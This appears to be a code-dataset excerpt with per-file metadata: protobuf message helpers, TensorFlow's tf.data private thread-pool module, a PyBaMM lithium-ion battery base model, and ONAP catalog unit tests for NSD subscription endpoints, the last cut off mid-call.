setattr(self, field_name, v)
return self
def to_json(self, indent: Union[None, int, str] = None) -> str:
return json.dumps(self.to_dict(), indent=indent)
def from_json(self: T, value: Union[str, bytes]) -> T:
return self.from_dict(json.loads(value))
def serialized_on_wire(message: Message) -> bool:
return message._serialized_on_wire
def which_one_of(message: Message, group_name: str) -> Tuple[str, Optional[Any]]:
field_name = message._group_current.get(group_name)
if not field_name:
return "", None
return field_name, getattr(message, field_name)
from .lib.google.protobuf import (
BoolValue,
BytesValue,
DoubleValue,
Duration,
FloatValue,
Int32Value,
Int64Value,
StringValue,
Timestamp,
UInt32Value,
UInt64Value,
)
class _Duration(Duration):
def to_timedelta(self) -> timedelta:
return timedelta(seconds=self.seconds, microseconds=self.nanos / 1e3)
@staticmethod
def delta_to_json(delta: timedelta) -> str:
parts = str(delta.total_seconds()).split(".")
if len(parts) > 1:
while len(parts[1]) not in [3, 6, 9]:
parts[1] = f"{parts[1]}0"
return f"{'.'.join(parts)}s"
class _Timestamp(Timestamp):
def to_datetime(self) -> datetime:
ts = self.seconds + (self.nanos / 1e9)
return datetime.fromtimestamp(ts, tz=timezone.utc)
@staticmethod
def timestamp_to_json(dt: datetime) -> str:
nanos = dt.microsecond * 1e3
copy = dt.replace(microsecond=0, tzinfo=None)
result = copy.isoformat()
if (nanos % 1e9) == 0:
return f"{result}Z"
if (nanos % 1e6) == 0:
return f"{result}.{int(nanos // 1e6) :03d}Z"
if (nanos % 1e3) == 0:
return f"{result}.{int(nanos // 1e3) :06d}Z"
return f"{result}.{nanos:09d}"
class _WrappedMessage(Message):
value: Any
def to_dict(self, casing: Casing = Casing.CAMEL) -> Any:
return self.value
def from_dict(self: T, value: Any) -> T:
if value is not None:
self.value = value
return self
def _get_wrapper(proto_type: str) -> Type:
return {
TYPE_BOOL: BoolValue,
TYPE_INT32: Int32Value,
TYPE_UINT32: UInt32Value,
TYPE_INT64: Int64Value,
TYPE_UINT64: UInt64Value,
TYPE_FLOAT: FloatValue,
TYPE_DOUBLE: DoubleValue,
TYPE_STRING: StringValue,
TYPE_BYTES: BytesValue,
}[proto_type]
| true | true |
f73c3fd9cba6a19db395bd14e2eef3617158a82a | 3,818 | py | Python | tensorflow/contrib/data/python/ops/threadpool.py | Esail/tensorflow | 2538e68a69e585696175bd972cae119e06bde294 | [
"Apache-2.0"
] | 1 | 2019-01-03T13:49:53.000Z | 2019-01-03T13:49:53.000Z | tensorflow/contrib/data/python/ops/threadpool.py | Esail/tensorflow | 2538e68a69e585696175bd972cae119e06bde294 | [
"Apache-2.0"
] | null | null | null | tensorflow/contrib/data/python/ops/threadpool.py | Esail/tensorflow | 2538e68a69e585696175bd972cae119e06bde294 | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Experimental API for controlling threading in `tf.data` pipelines."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import threading
from tensorflow.python.data.ops import dataset_ops
from tensorflow.python.eager import context
from tensorflow.python.ops import gen_experimental_dataset_ops as ged_ops
from tensorflow.python.ops import resource_variable_ops
_uid_counter = 0
_uid_lock = threading.Lock()
def _generate_shared_name(prefix):
with _uid_lock:
global _uid_counter
uid = _uid_counter
_uid_counter += 1
return "{}{}".format(prefix, uid)
# TODO(b/73383364): Properly export in the `tf.contrib.data` API when stable
# or make private / remove.
class PrivateThreadPool(object):
"""A stateful resource that represents a private thread pool."""
def __init__(self, num_threads, display_name=None,
max_intra_op_parallelism=1):
"""Creates a `PrivateThreadPool` with the given number of threads."""
if context.executing_eagerly():
shared_name = _generate_shared_name("privatethreadpool")
self._resource = ged_ops.experimental_thread_pool_handle(
num_threads=num_threads,
max_intra_op_parallelism=max_intra_op_parallelism,
display_name=display_name,
shared_name=shared_name)
self._resource_deleter = resource_variable_ops.EagerResourceDeleter(
handle=self._resource, handle_device=context.context().device_name)
else:
self._resource = ged_ops.experimental_thread_pool_handle(
num_threads=num_threads,
max_intra_op_parallelism=max_intra_op_parallelism,
display_name=display_name)
class _ThreadPoolDataset(dataset_ops.UnaryDataset):
"""A `Dataset` that acts as an identity, and sets a custom threadpool."""
def __init__(self, input_dataset, thread_pool):
super(_ThreadPoolDataset, self).__init__(input_dataset)
self._input_dataset = input_dataset
self._thread_pool = thread_pool
def _as_variant_tensor(self):
return ged_ops.experimental_thread_pool_dataset(
self._input_dataset._as_variant_tensor(), # pylint: disable=protected-access
self._thread_pool._resource, # pylint: disable=protected-access
**dataset_ops.flat_structure(self))
@property
def output_shapes(self):
return self._input_dataset.output_shapes
@property
def output_types(self):
return self._input_dataset.output_types
@property
def output_classes(self):
return self._input_dataset.output_classes
# TODO(b/73383364): Properly export in the `tf.contrib.data` API when stable
# or make private / remove.
def override_threadpool(dataset, thread_pool):
"""Returns a new dataset that uses the given thread pool for its operations.
Args:
dataset: A `tf.data.Dataset` object.
thread_pool: A `PrivateThreadPool` object.
Returns:
A dataset containing the same values as `dataset`, but which uses
`thread_pool` to compute any of its parallel operations (such as
`tf.data.Dataset.map`).
"""
return _ThreadPoolDataset(dataset, thread_pool)
| 36.361905 | 85 | 0.739916 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import threading
from tensorflow.python.data.ops import dataset_ops
from tensorflow.python.eager import context
from tensorflow.python.ops import gen_experimental_dataset_ops as ged_ops
from tensorflow.python.ops import resource_variable_ops
_uid_counter = 0
_uid_lock = threading.Lock()
def _generate_shared_name(prefix):
with _uid_lock:
global _uid_counter
uid = _uid_counter
_uid_counter += 1
return "{}{}".format(prefix, uid)
class PrivateThreadPool(object):
def __init__(self, num_threads, display_name=None,
max_intra_op_parallelism=1):
if context.executing_eagerly():
shared_name = _generate_shared_name("privatethreadpool")
self._resource = ged_ops.experimental_thread_pool_handle(
num_threads=num_threads,
max_intra_op_parallelism=max_intra_op_parallelism,
display_name=display_name,
shared_name=shared_name)
self._resource_deleter = resource_variable_ops.EagerResourceDeleter(
handle=self._resource, handle_device=context.context().device_name)
else:
self._resource = ged_ops.experimental_thread_pool_handle(
num_threads=num_threads,
max_intra_op_parallelism=max_intra_op_parallelism,
display_name=display_name)
class _ThreadPoolDataset(dataset_ops.UnaryDataset):
def __init__(self, input_dataset, thread_pool):
super(_ThreadPoolDataset, self).__init__(input_dataset)
self._input_dataset = input_dataset
self._thread_pool = thread_pool
def _as_variant_tensor(self):
return ged_ops.experimental_thread_pool_dataset(
self._input_dataset._as_variant_tensor(),
self._thread_pool._resource,
**dataset_ops.flat_structure(self))
@property
def output_shapes(self):
return self._input_dataset.output_shapes
@property
def output_types(self):
return self._input_dataset.output_types
@property
def output_classes(self):
return self._input_dataset.output_classes
def override_threadpool(dataset, thread_pool):
return _ThreadPoolDataset(dataset, thread_pool)
| true | true |
f73c408d930c29c3bf97f122e561b79a77eacecb | 4,314 | py | Python | pybamm/models/full_battery_models/lithium_ion/base_lithium_ion_model.py | kinnala/PyBaMM | 3c4ef83d1ea06287a55ceac5f25e139e54599ea9 | [
"BSD-3-Clause"
] | null | null | null | pybamm/models/full_battery_models/lithium_ion/base_lithium_ion_model.py | kinnala/PyBaMM | 3c4ef83d1ea06287a55ceac5f25e139e54599ea9 | [
"BSD-3-Clause"
] | null | null | null | pybamm/models/full_battery_models/lithium_ion/base_lithium_ion_model.py | kinnala/PyBaMM | 3c4ef83d1ea06287a55ceac5f25e139e54599ea9 | [
"BSD-3-Clause"
] | null | null | null | #
# Lithium-ion base model class
#
import pybamm
class BaseModel(pybamm.BaseBatteryModel):
"""
Overwrites default parameters from Base Model with default parameters for
lithium-ion models
**Extends:** :class:`pybamm.BaseBatteryModel`
"""
def __init__(self, options=None, name="Unnamed lithium-ion model", build=False):
super().__init__(options, name)
self.param = pybamm.LithiumIonParameters(options)
# Default timescale is discharge timescale
self.timescale = self.param.tau_discharge
# Set default length scales
self.length_scales = {
"negative electrode": self.param.L_x,
"separator": self.param.L_x,
"positive electrode": self.param.L_x,
"negative particle": self.param.R_n_typ,
"positive particle": self.param.R_p_typ,
"current collector y": self.param.L_y,
"current collector z": self.param.L_z,
}
self.set_standard_output_variables()
def set_standard_output_variables(self):
super().set_standard_output_variables()
# Particle concentration position
var = pybamm.standard_spatial_vars
self.variables.update(
{
"r_n": var.r_n,
"r_n [m]": var.r_n * self.param.R_n_typ,
"r_p": var.r_p,
"r_p [m]": var.r_p * self.param.R_p_typ,
}
)
def set_sei_submodel(self):
# negative electrode SEI
if self.options["sei"] == "none":
self.submodels["negative sei"] = pybamm.sei.NoSEI(self.param, "Negative")
if self.options["sei"] == "constant":
self.submodels["negative sei"] = pybamm.sei.ConstantSEI(
self.param, "Negative"
)
elif self.options["sei"] == "reaction limited":
self.submodels["negative sei"] = pybamm.sei.ReactionLimited(
self.param, "Negative"
)
elif self.options["sei"] == "solvent-diffusion limited":
self.submodels["negative sei"] = pybamm.sei.SolventDiffusionLimited(
self.param, "Negative"
)
elif self.options["sei"] == "electron-migration limited":
self.submodels["negative sei"] = pybamm.sei.ElectronMigrationLimited(
self.param, "Negative"
)
elif self.options["sei"] == "interstitial-diffusion limited":
self.submodels["negative sei"] = pybamm.sei.InterstitialDiffusionLimited(
self.param, "Negative"
)
elif self.options["sei"] == "ec reaction limited":
self.submodels["negative sei"] = pybamm.sei.EcReactionLimited(
self.param, "Negative"
)
# positive electrode
self.submodels["positive sei"] = pybamm.sei.NoSEI(self.param, "Positive")
def set_other_reaction_submodels_to_zero(self):
self.submodels["negative oxygen interface"] = pybamm.interface.NoReaction(
self.param, "Negative", "lithium-ion oxygen"
)
self.submodels["positive oxygen interface"] = pybamm.interface.NoReaction(
self.param, "Positive", "lithium-ion oxygen"
)
def set_crack_submodel(self):
if self.options["particle cracking"] == "none":
return
if self.options["particle cracking"] == "no cracking":
n = pybamm.particle_cracking.NoCracking(self.param, "Negative")
p = pybamm.particle_cracking.NoCracking(self.param, "Positive")
elif self.options["particle cracking"] == "cathode":
n = pybamm.particle_cracking.NoCracking(self.param, "Negative")
p = pybamm.particle_cracking.CrackPropagation(self.param, "Positive")
elif self.options["particle cracking"] == "anode":
n = pybamm.particle_cracking.CrackPropagation(self.param, "Negative")
p = pybamm.particle_cracking.NoCracking(self.param, "Positive")
else:
n = pybamm.particle_cracking.CrackPropagation(self.param, "Negative")
p = pybamm.particle_cracking.CrackPropagation(self.param, "Positive")
self.submodels["negative particle cracking"] = n
self.submodels["positive particle cracking"] = p
| 37.513043 | 85 | 0.608484 |
import pybamm
class BaseModel(pybamm.BaseBatteryModel):
def __init__(self, options=None, name="Unnamed lithium-ion model", build=False):
super().__init__(options, name)
self.param = pybamm.LithiumIonParameters(options)
self.timescale = self.param.tau_discharge
self.length_scales = {
"negative electrode": self.param.L_x,
"separator": self.param.L_x,
"positive electrode": self.param.L_x,
"negative particle": self.param.R_n_typ,
"positive particle": self.param.R_p_typ,
"current collector y": self.param.L_y,
"current collector z": self.param.L_z,
}
self.set_standard_output_variables()
def set_standard_output_variables(self):
super().set_standard_output_variables()
var = pybamm.standard_spatial_vars
self.variables.update(
{
"r_n": var.r_n,
"r_n [m]": var.r_n * self.param.R_n_typ,
"r_p": var.r_p,
"r_p [m]": var.r_p * self.param.R_p_typ,
}
)
def set_sei_submodel(self):
if self.options["sei"] == "none":
self.submodels["negative sei"] = pybamm.sei.NoSEI(self.param, "Negative")
if self.options["sei"] == "constant":
self.submodels["negative sei"] = pybamm.sei.ConstantSEI(
self.param, "Negative"
)
elif self.options["sei"] == "reaction limited":
self.submodels["negative sei"] = pybamm.sei.ReactionLimited(
self.param, "Negative"
)
elif self.options["sei"] == "solvent-diffusion limited":
self.submodels["negative sei"] = pybamm.sei.SolventDiffusionLimited(
self.param, "Negative"
)
elif self.options["sei"] == "electron-migration limited":
self.submodels["negative sei"] = pybamm.sei.ElectronMigrationLimited(
self.param, "Negative"
)
elif self.options["sei"] == "interstitial-diffusion limited":
self.submodels["negative sei"] = pybamm.sei.InterstitialDiffusionLimited(
self.param, "Negative"
)
elif self.options["sei"] == "ec reaction limited":
self.submodels["negative sei"] = pybamm.sei.EcReactionLimited(
self.param, "Negative"
)
self.submodels["positive sei"] = pybamm.sei.NoSEI(self.param, "Positive")
def set_other_reaction_submodels_to_zero(self):
self.submodels["negative oxygen interface"] = pybamm.interface.NoReaction(
self.param, "Negative", "lithium-ion oxygen"
)
self.submodels["positive oxygen interface"] = pybamm.interface.NoReaction(
self.param, "Positive", "lithium-ion oxygen"
)
def set_crack_submodel(self):
if self.options["particle cracking"] == "none":
return
if self.options["particle cracking"] == "no cracking":
n = pybamm.particle_cracking.NoCracking(self.param, "Negative")
p = pybamm.particle_cracking.NoCracking(self.param, "Positive")
elif self.options["particle cracking"] == "cathode":
n = pybamm.particle_cracking.NoCracking(self.param, "Negative")
p = pybamm.particle_cracking.CrackPropagation(self.param, "Positive")
elif self.options["particle cracking"] == "anode":
n = pybamm.particle_cracking.CrackPropagation(self.param, "Negative")
p = pybamm.particle_cracking.NoCracking(self.param, "Positive")
else:
n = pybamm.particle_cracking.CrackPropagation(self.param, "Negative")
p = pybamm.particle_cracking.CrackPropagation(self.param, "Positive")
self.submodels["negative particle cracking"] = n
self.submodels["positive particle cracking"] = p
| true | true |
f73c4167277e4249b6706079081eebb9f2f05b45 | 24,208 | py | Python | catalog/packages/tests/test_nsdm_subscription.py | onap/archive-vfc-nfvo-catalog | 24b92a2210c2063935d313f08e1da1e9cee45f3f | [
"Apache-2.0"
] | 1 | 2019-09-25T05:38:42.000Z | 2019-09-25T05:38:42.000Z | catalog/packages/tests/test_nsdm_subscription.py | onap/archive-vfc-nfvo-catalog | 24b92a2210c2063935d313f08e1da1e9cee45f3f | [
"Apache-2.0"
] | null | null | null | catalog/packages/tests/test_nsdm_subscription.py | onap/archive-vfc-nfvo-catalog | 24b92a2210c2063935d313f08e1da1e9cee45f3f | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2019 Verizon. All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import json
import mock
import uuid
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework import status
from catalog.packages.biz.nsdm_subscription import NsdmSubscription
from catalog.pub.database.models import NsdmSubscriptionModel
class TestNsdmSubscription(TestCase):
def setUp(self):
self.client = APIClient()
NsdmSubscriptionModel.objects.all().delete()
self.subscription_id = str(uuid.uuid4())
self.subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"nsdId": ["b632bddc-abcd-4180-bd8d-4e8a9578eff7"],
}
}
self.links = {
"self": {
"href": "/api/v1/subscriptions/" + self.subscription_id
}
}
self.test_subscription = {
"callbackUri": "http://callbackuri.com",
"id": self.subscription_id,
"filter": {
"notificationTypes": [
"NsdOnBoardingNotification"
],
"nsdInfoId": [],
"nsdId": [],
"nsdName": [],
"nsdVersion": [],
"nsdInvariantId": [],
"vnfPkgIds": [],
"nestedNsdInfoIds": [],
"nsdOnboardingState": [],
"nsdOperationalState": [],
"nsdUsageState": [],
"pnfdInfoIds": [],
"pnfdId": [],
"pnfdName": [],
"pnfdVersion": [],
"pnfdProvider": [],
"pnfdInvariantId": [],
"pnfdOnboardingState": [],
"pnfdUsageState": []
},
"_links": self.links,
}
def tearDown(self):
pass
@mock.patch("requests.get")
@mock.patch.object(uuid, 'uuid4')
def test_nsdm_subscribe_notification(self, mock_uuid4, mock_requests):
temp_uuid = str(uuid.uuid4())
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
mock_uuid4.return_value = temp_uuid
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(201, response.status_code)
self.assertEqual(self.subscription["callbackUri"],
response.data["callbackUri"])
self.assertEqual(temp_uuid, response.data["id"])
@mock.patch("requests.get")
@mock.patch.object(uuid, 'uuid4')
def test_nsdm_subscribe_callbackFailure(self, mock_uuid4, mock_requests):
temp_uuid = str(uuid.uuid4())
mock_requests.return_value.status_code = 500
mock_requests.get.return_value.status_code = 500
mock_uuid4.return_value = temp_uuid
expected_data = {
'status': 500,
'detail': "callbackUri http://callbackuri.com didn't"
" return 204 statuscode."
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(500, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_second_subscription(self, mock_requests):
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(201, response.status_code)
self.assertEqual(self.subscription["callbackUri"],
response.data["callbackUri"])
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"nsdId": ["b632bddc-bccd-4180-bd8d-4e8a9578eff7"],
}
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(201, response.status_code)
self.assertEqual(dummy_subscription["callbackUri"],
response.data["callbackUri"])
@mock.patch("requests.get")
def test_nsdm_duplicate_subscription(self, mock_requests):
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(201, response.status_code)
self.assertEqual(self.subscription["callbackUri"],
response.data["callbackUri"])
expected_data = {
'status': 303,
'detail': 'Already Subscription exists with'
' the same callbackUri and filter'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(303, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_bad_request(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"nsdId": "b632bddc-bccd-4180-bd8d-4e8a9578eff7",
}
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
@mock.patch("requests.get")
def test_nsdm_invalid_authtype_subscription(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["OAUTH2_CLIENT_CREDENTIALS"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'Auth type should be BASIC'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_authtype_oauthclient_subscription(
self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsOauth2ClientCredentials": {
"clientId": "clientId",
"clientPassword": "password",
"tokenEndpoint": "http://tokenEndpoint"
}
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'Auth type should be OAUTH2_CLIENT_CREDENTIALS'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_authparams_subscription(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username"
}
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'userName and password needed for BASIC'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_authparams_oauthclient_subscription(
self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["OAUTH2_CLIENT_CREDENTIALS"],
"paramsOauth2ClientCredentials": {
"clientPassword": "password",
"tokenEndpoint": "http://tokenEndpoint"
}
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'clientId, clientPassword and tokenEndpoint'
' required for OAUTH2_CLIENT_CREDENTIALS'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_filter_subscription(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"nsdId": ["b632bddc-bccd-4180-bd8d-4e8a9578eff7"],
"nsdInfoId": ["d0ea5ec3-0b98-438a-9bea-488230cff174"]
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'Notification Filter should contain'
' either nsdId or nsdInfoId'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_filter_pnfd_subscription(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"pnfdId": ["b632bddc-bccd-4180-bd8d-4e8a9578eff7"],
"pnfdInfoIds": ["d0ea5ec3-0b98-438a-9bea-488230cff174"]
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'Notification Filter should contain'
' either pnfdId or pnfdInfoIds'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch.object(NsdmSubscription, 'create')
def test_nsdmsubscription_create_when_catch_exception(self, mock_create):
mock_create.side_effect = TypeError("Unicode type")
response = self.client.post('/api/nsd/v1/subscriptions',
data=self.subscription, format='json')
self.assertEqual(response.status_code,
status.HTTP_500_INTERNAL_SERVER_ERROR)
def test_nsdm_get_subscriptions(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get("/api/nsd/v1/subscriptions",
format='json')
self.assertEqual(status.HTTP_200_OK, response.status_code)
self.assertEqual([self.test_subscription], response.data)
def test_nsdm_get_subscriptions_filter(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get("/api/nsd/v1/subscriptions"
"?notificationTypes"
"=NsdOnBoardingNotification",
format='json')
self.assertEqual(status.HTTP_200_OK, response.status_code)
self.assertEqual([self.test_subscription], response.data)
def test_nsdm_get_subscriptions_filter_failure(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get("/api/nsd/v1/subscriptions"
"?notificationTypes="
"PnfdOnBoardingFailureNotification",
format='json')
self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code)
def test_nsdm_get_subscriptions_invalid_filter(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get("/api/nsd/v1/subscriptions"
"?notificationTypes="
"PnfdOnBoardingFailureNotificati",
format='json')
self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code)
@mock.patch.object(NsdmSubscription, 'query_multi_subscriptions')
def test_nsdmsubscription_get_when_catch_exception(self, mock_create):
mock_create.side_effect = TypeError("Unicode type")
response = self.client.get('/api/nsd/v1/subscriptions', format='json')
self.assertEqual(response.status_code,
status.HTTP_500_INTERNAL_SERVER_ERROR)
def test_nsdm_get_subscription(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(status.HTTP_200_OK, response.status_code)
self.assertEqual(self.test_subscription, response.data)
def test_nsdm_get_subscription_failure(self):
expected_data = {
"status": 404,
"detail": "Subscription(" + self.subscription_id + ") "
"doesn't exists"
}
response = self.client.get('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code)
self.assertEqual(expected_data, response.data)
def test_nsdm_get_subscription_failure_bad_request(self):
response = self.client.get("/api/nsd/v1/subscriptions/123",
format='json')
self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code)
@mock.patch.object(NsdmSubscription, 'query_single_subscription')
def test_nsdmsubscription_getsingle_when_catch_exception(
self, mock_create):
mock_create.side_effect = TypeError("Unicode type")
response = self.client.get('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(response.status_code,
status.HTTP_500_INTERNAL_SERVER_ERROR)
def test_ndsm_delete_subscription(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.delete('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(status.HTTP_204_NO_CONTENT, response.status_code)
def test_ndsm_delete_subscription_failure(self):
response = self.client.delete('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code)
def test_nsdm_delete_subscription_failure_bad_request(self):
response = self.client.delete("/api/nsd/v1/subscriptions/123",
format='json')
self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code)
@mock.patch.object(NsdmSubscription, 'delete_single_subscription')
def test_nsdmsubscription_delete_when_catch_exception(self, mock_create):
mock_create.side_effect = TypeError("Unicode type")
response = self.client.delete('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
